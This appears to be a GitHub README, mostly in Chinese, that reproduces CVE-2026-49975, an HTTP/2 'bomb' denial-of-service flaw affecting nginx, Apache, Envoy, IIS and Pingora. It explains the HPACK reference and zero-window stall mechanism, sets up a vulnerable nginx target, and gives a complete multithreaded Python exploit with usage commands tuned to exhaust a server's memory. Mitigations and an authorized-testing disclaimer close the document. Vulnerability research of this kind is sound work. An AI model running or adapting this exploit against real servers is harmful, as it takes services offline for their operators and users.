razureink/cve-2026-49975-http2bomb_reproduction

GitHub: razureink/cve-2026-49975-http2bomb_reproduction

该项目提供了 CVE-2026-49975(HTTP/2 Bomb)远程拒绝服务漏洞的详细复现指南、环境搭建方法及 PoC 利用代码。

Stars: 0 | Forks: 0

# CVE-2026-49975 (HTTP/2 Bomb) 完整复现指南 # 基于奇安信 CERT 通告 + Calif 原创研究 # ================================================================ ## 一、漏洞概述 CVE-2026-49975 (QVD-2026-30962) 是由安全研究员 Quang Luong (Calif) 发现的一个 HTTP/2 协议层拒绝服务漏洞。奇安信威胁情报中心的研究人员已成功复现了针对 Nginx 的单连接 HTTP/2 Bomb DoS 攻击。 - CVSS 3.1: 9.8 (严重) - 影响规模: 数十万个网站 - PoC/EXP 状态: 公开 - 利用条件: 无需身份验证,单连接即可 ## 二、攻击原理 (两阶段组合) ### 阶段 1: HPACK 索引引用炸弹 HPACK (RFC 7541) 使用动态表来存储先前发送的头部信息。发送方只需发送一个 **1 字节的索引号**,接收方就会从动态表中检索完整的头部信息并为其分配内存。 **核心洞察** — 此漏洞的本质: - 传统的 HPACK 炸弹: 将**大体积值**塞入动态表并反复引用 → 被“最大解码大小”限制拦截 - **此漏洞变体**: 将**几乎为空**的头部信息塞入动态表,然后反复引用它们 - 每次引用都会触发**针对每个条目的内存分配开销** (~70-5700 字节) - “最大解码大小”限制**不会触发**,因为几乎没有需要解码的内容 ### 阶段 2: HTTP/2 流控窗口停顿 攻击者声明一个零字节的接收窗口 (`SETTINGS_INITIAL_WINDOW_SIZE=0`),阻止服务器发送响应或释放内存。然后定期发送 **1 字节的 `WINDOW_UPDATE` 帧**来重置服务器的发送超时计时器,从而无限期地锁定这些内存分配。 ## 三、受影响的服务器 | 服务器 | 放大倍率 | 演示效果 | 修复状态 | |--------|--------------|-------------|------------| | Envoy 1.37.2 | ~5,700:1 | ~10秒内消耗 32GB | 披露时无补丁 | | Apache httpd 2.4.67 | ~4,000:1 | ~18秒内消耗 32GB | 已在 mod_http2 v2.0.41 中修复 | | nginx < 1.29.8 | ~70:1 | ~45秒内消耗 32GB | 已在 nginx 1.29.8 中修复 | | Microsoft IIS (WS 2025) | ~68:1 | ~45秒内消耗 64GB | 披露时无补丁 | | Cloudflare Pingora <= 0.8.0 | ~68:1 | - | 披露时无补丁 | ## 四、环境搭建 (目标机) ### nginx 目标 (易受攻击版本) ``` # Deploy nginx 1.29.7 using Docker docker run -d --name nginx-h2-vuln \ -p 8443:443 \ nginx:1.29.7 # Key nginx.conf configuration server { listen 443 ssl http2; ssl_certificate /etc/nginx/ssl/server.crt; ssl_certificate_key /etc/nginx/ssl/server.key; } ``` ### 自签名证书 ``` openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout server.key -out server.crt \ -subj "/CN=localhost" ``` ## 五、利用代码 以下代码基于公开的技术细节实现,**仅用于授权的安全测试**。 #!/usr/bin/env python3 """ CVE-2026-49975 HTTP/2 Bomb PoC 基于 HPACK 索引引用炸弹 + 流控窗口停顿 原理: 1. 通过 TLS ALPN 协商 h2 2. 发送 SETTINGS [INITIAL_WINDOW_SIZE=0] 设置零窗口 3. 将一个几乎为空的头部插入 HPACK 动态表 4. 发送数以千计的 1 字节索引引用,每次都会触发服务器内存分配 5. 定期发送 1 字节 WINDOW_UPDATE 以保持连接存活 用法: python3 exploit.py target.com 443 python3 exploit.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374 python3 exploit.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000 警告: 仅用于授权的安全测试! """ import socket import ssl import struct import threading import time import argparse HTTP2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' FRAME_SETTINGS = 0x4 FRAME_HEADERS = 0x1 FRAME_WINDOW_UPDATE = 0x8 SETTINGS_INITIAL_WINDOW_SIZE = 0x4 def encode_frame(frame_type, flags, stream_id, payload): """编码 HTTP/2 帧""" length = len(payload) header = struct.pack('>I', length)[1:] + struct.pack('>BBI', frame_type, flags, stream_id & 0x7FFFFFFF) return header + payload def encode_settings(settings): """编码 SETTINGS 帧负载""" payload = b'' for identifier, value in settings: payload += struct.pack('>HI', identifier, value) return payload def encode_window_update(stream_id, increment): """编码 WINDOW_UPDATE 帧""" payload = struct.pack('>I', increment & 0x7FFFFFFF) return encode_frame(FRAME_WINDOW_UPDATE, 0x0, stream_id, payload) def make_hpack_seed(): """构造 HPACK 动态表种子 - 插入几乎为空的头部""" name = b'x-bomb' value = b'' # 空值!解码大小限制不会触发 block = bytes([0x40]) # 增量索引标志 block += bytes([len(name)]) + name block += bytes([len(value)]) + value return block def make_hpack_bomb(references_count): """构造 HPACK 炸弹: 种子 + N 个 1 字节索引引用""" seed = make_hpack_seed() # 动态表索引 62 -> 0xbe (0x80 | 62) refs = bytes([0xbe] * references_count) return seed + refs def make_headers_frame(stream_id, hpack_block): flags = 0x4 # END_HEADERS return encode_frame(FRAME_HEADERS, flags, stream_id, hpack_block) def attack_connection(target, port, streams, headers_per_stream, hold_time, use_ssl=True): try: sock = socket.create_connection((target, port), timeout=30) ``` if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE context.set_alpn_protocols(['h2']) sock = context.wrap_socket(sock, server_hostname=target) negotiated = sock.selected_alpn_protocol() if negotiated != 'h2': print(f"[!] ALPN negotiation failed: {negotiated}") return print(f"[+] ALPN negotiation successful: {negotiated}") # Send HTTP/2 connection preface sock.sendall(HTTP2_PREFACE) # ===== KEY: Send SETTINGS [INITIAL_WINDOW_SIZE=0] to set zero window ===== settings = [(SETTINGS_INITIAL_WINDOW_SIZE, 0)] settings_frame = encode_frame(FRAME_SETTINGS, 0x0, 0, encode_settings(settings)) sock.sendall(settings_frame) time.sleep(0.5) # Send SETTINGS ACK ack_frame = encode_frame(FRAME_SETTINGS, 0x1, 0, b'') sock.sendall(ack_frame) print(f"[+] Connection established, sending bomb payload...") # Construct HPACK bomb hpack_block = make_hpack_bomb(headers_per_stream) # Send HEADERS frames on multiple streams for i in range(streams): stream_id = (i + 1) * 2 - 1 headers_frame = make_headers_frame(stream_id, hpack_block) sock.sendall(headers_frame) print(f"[+] Sent bomb payload on {streams} streams") # Keep connection alive, periodically send WINDOW_UPDATE to prevent timeout start_time = time.time() update_count = 0 while time.time() - start_time < hold_time: time.sleep(1) for i in range(min(streams, 10)): stream_id = (i + 1) * 2 - 1 wu_frame = encode_window_update(stream_id, 1) try: sock.sendall(wu_frame) update_count += 1 except: break if update_count % 10 == 0: elapsed = time.time() - start_time print(f"[*] Held for {elapsed:.1f}s, WINDOW_UPDATE sent: {update_count}") print(f"[+] Attack completed, hold time: {hold_time}s") except Exception as e: print(f"[!] Connection error: {e}") finally: try: sock.close() except: pass ``` def main(): parser = argparse.ArgumentParser(description='CVE-2026-49975 HTTP/2 Bomb PoC') parser.add_argument('target', help='目标主机') parser.add_argument('port', type=int, help='目标端口') parser.add_argument('--threads', type=int, default=1, help='并行连接数') parser.add_argument('--streams', type=int, default=10, help='每个连接的流数') parser.add_argument('--headers', type=int, default=5000, help='每个流的 HPAC 索引引用数') parser.add_argument('--hold', type=int, default=30, help='连接保持时间 (秒)') parser.add_argument('--no-ssl', action='store_true', help='禁用 TLS (h2c)') ``` args = parser.parse_args() print("=" * 60) print("CVE-2026-49975 HTTP/2 Bomb PoC") print("For authorized security testing only!") print("=" * 60) amplification = 70 # nginx bookkeeping total_streams = args.threads * args.streams estimated_ram_mb = total_streams * args.headers * amplification / (1024 * 1024) print(f"[*] Estimated server memory consumption: ~{estimated_ram_mb:.0f} MB") print() threads = [] for i in range(args.threads): t = threading.Thread( target=attack_connection, args=(args.target, args.port, args.streams, args.headers, args.hold, not args.no_ssl) ) t.start() threads.append(t) time.sleep(0.5) for t in threads: t.join() print("[+] All attack threads completed") ``` if __name__ == '__main__': main() ## 六、使用方法 ### 基础测试 (单连接) ``` python3 exploit.py target.com 443 ``` ### 针对 nginx 的攻击 (推荐) ``` python3 exploit.py target.com 443 \ --threads 50 \ --streams 30 \ --headers 16374 \ --hold 60 ``` - `--headers 16374`: 保持在默认的 `http2_max_header_size 16k` 范围内 - 预计内存消耗: 50 x 30 x 16374 x 70 / 1024^2 ≈ **1,647 MB** ### 针对 Apache/Envoy 的攻击 (高放大倍率) ``` python3 exploit.py target.com 443 \ --threads 20 \ --streams 30 \ --headers 5000 \ --hold 60 ``` ## 七、验证攻击效果 ``` # Monitor nginx worker memory for p in $(pgrep -f "nginx: worker"); do grep VmRSS /proc/$p/status; done # Or use docker stats docker stats --no-stream nginx-h2-vuln ``` **观察指标**: - 攻击前: nginx worker RSS ~3-6 MB - 攻击后: RSS 飙升至数百 MB 甚至 GB - 无法建立新连接或响应极其缓慢 ## 八、缓解措施 1. **nginx**: 升级至 1.29.8+,引入了 `max_headers` 指令 (默认 1000) 2. **Apache httpd**: 升级至 mod_http2 v2.0.41+,Cookie 头部会被计入 `LimitRequestFields` 3. **临时缓解**: 禁用 HTTP/2 并回退到 HTTP/1.1,或部署具有严格头部数量限制的反向代理/CDN ## 九、免责声明 本复现指南仅用于授权的安全测试、漏洞研究和教育目的。对任何系统进行未经授权的攻击都是违法的。 ## 参考资料 1. 奇安信 CERT: HTTP/2 Bomb 远程拒绝服务漏洞 (CVE-2026-49975) 安全风险通告 2. Calif 博客: Codex 发现了隐藏的 HTTP/2 炸弹 3. GitHub: califio/publications/tree/main/MADBugs/http2-bomb 4. RFC 7541: HPACK 5. RFC 9113: HTTP/2 中文版本。 ## CVE-2026-49975 复现方案 详细复现步骤请查看:[CVE-2026-49975 复现方案](./CVE-2026-49975_复现方案.md)
标签:HTTP/2, Nginx, PoC, 安全测试工具, 拒绝服务攻击, 暴力破解, 请求拦截, 逆向工具, 配置错误